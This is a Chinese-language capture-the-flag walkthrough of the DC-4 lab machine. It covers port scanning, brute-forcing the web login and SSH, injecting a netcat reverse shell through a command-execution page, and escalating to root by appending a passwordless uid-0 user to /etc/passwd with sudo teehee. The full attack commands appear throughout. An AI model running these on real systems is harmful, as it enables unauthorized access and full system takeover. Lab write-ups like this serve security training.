DC-4靶场练习

环境

kali:192.168.10.128

dc-4:192.168.10.191(未知)

信息收集

先探测主机,发现靶机dc-4

nmap 192.168.10.0/24     

image-20211221145649437

靶机IP为192.168.10.191,开放了22和80端口

经过dc-2的教训,查看作者是否还隐藏了其他端口

nmap -A -p 1-65535 192.168.10.191

image-20211221150338413

就两个开放的端口

打开web端,只有一个简单的登录界面

image-20211221150531843

根据Admin Information Systems Login提示,这里是让我们用admin登录

弱口令爆破

Username:admin,Password:随便填,点击Submit,用burpsuite抓包进行密码爆破

image-20211221151139798

密码字典我随便用一个,经过一段时间,密码爆破出来了

image-20211221151312035

密码为happy

尝试登录:

image-20211221151458491

登录成功

命令执行

登录成功后,点击Command ,发现这里是执行命令的页面

image-20211221151713181

用burpsuite进行抓包重放

image-20211221151957608

可以发现这里的命令,空格用+号代替了

尝试更改使用其他命令,看看这里能否执行:

这里我把命令改为了id

image-20211221152213986

image-20211221152231154

可以看到命令执行了

尝试反弹shell

kali:nc -lvvp 1234

http请求包处的命令改为:

radio=nc+-e+/bin/bash+192.168.10.128+1234&submit=Run

image-20211221152801725

image-20211221152824248

可以看到反弹shell成功

为了控制台好看一丢丢,输入下面的命令

python -c "import pty;pty.spawn('/bin/bash')"

image-20211221153039086

寻找有用的信息

在/home 目录下发现了charles jim sam这三个目录

但是只有jim目录有东西

image-20211221153534277

在backups目录下看到了个old-password.bak,打开一看,是个密码字典

image-20211221154021780

先保存下来,命名为old-password.txt

image-20211221153948338

查看下一个文件

cat mbox

image-20211221154236304

发现没有权限

先不管它,看看test.sh

cat test.sh

image-20211221154428348

没啥有用的信息,但是这好像是个提示

对22端口下手

我们还有个端口没有用到,22端口,ssh连接

连接条件是,需要用户名和密码。刚刚再/home目录下的三个目录名charles jim sam,应该就是存在的用户名,只有jim文件夹下有东西,ssh连接使用的用户名可以确定用的是jim,密码应该用的是

old-password.bak中的其中一个

所以,这里用hydra对ssh的密码进行爆破

hydra -l jim -P old-password.txt 192.168.10.191 ssh -v  

-l 指定用户名,

-P 指定密码字典

-v 现实详细的执行过程

image-20211221160053255

密码爆破出来了,为jibril04

ssh连接

ssh jim@192.168.10.191
密码:jibril04

image-20211221183312896

连接成功

查看mbox,发现是发给jim的一封邮件的一些描述

image-20211221214637420

去/var/mail查看邮件

image-20211221214809599

在这可以看到有charles 的密码^xHhA&hvim0y

提权

切换用户

su charles

image-20211221215116931

切换成功!

尝试sudo提权

sudo -l

image-20211221220600021

发现该用户有一个root权限的命令:teehee

teehee命令可以写入文件内容并不覆盖文件原有内容

使用teehee命令将一个无密码用户admin写入到/etc/passwd文件,并加入到root组中

格式:

用户名:是否有密码保护(x即有保护):uid:gid:全称:home目录:/bin/bash

用该命令提权

echo "hacker::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

追加并提权成功

image-20211221222914878

找flag

按照dc-4之前的靶机,最后的flag都是在root文件夹下的

不出所料啊,在root文件夹下找到flag

image-20211221223627254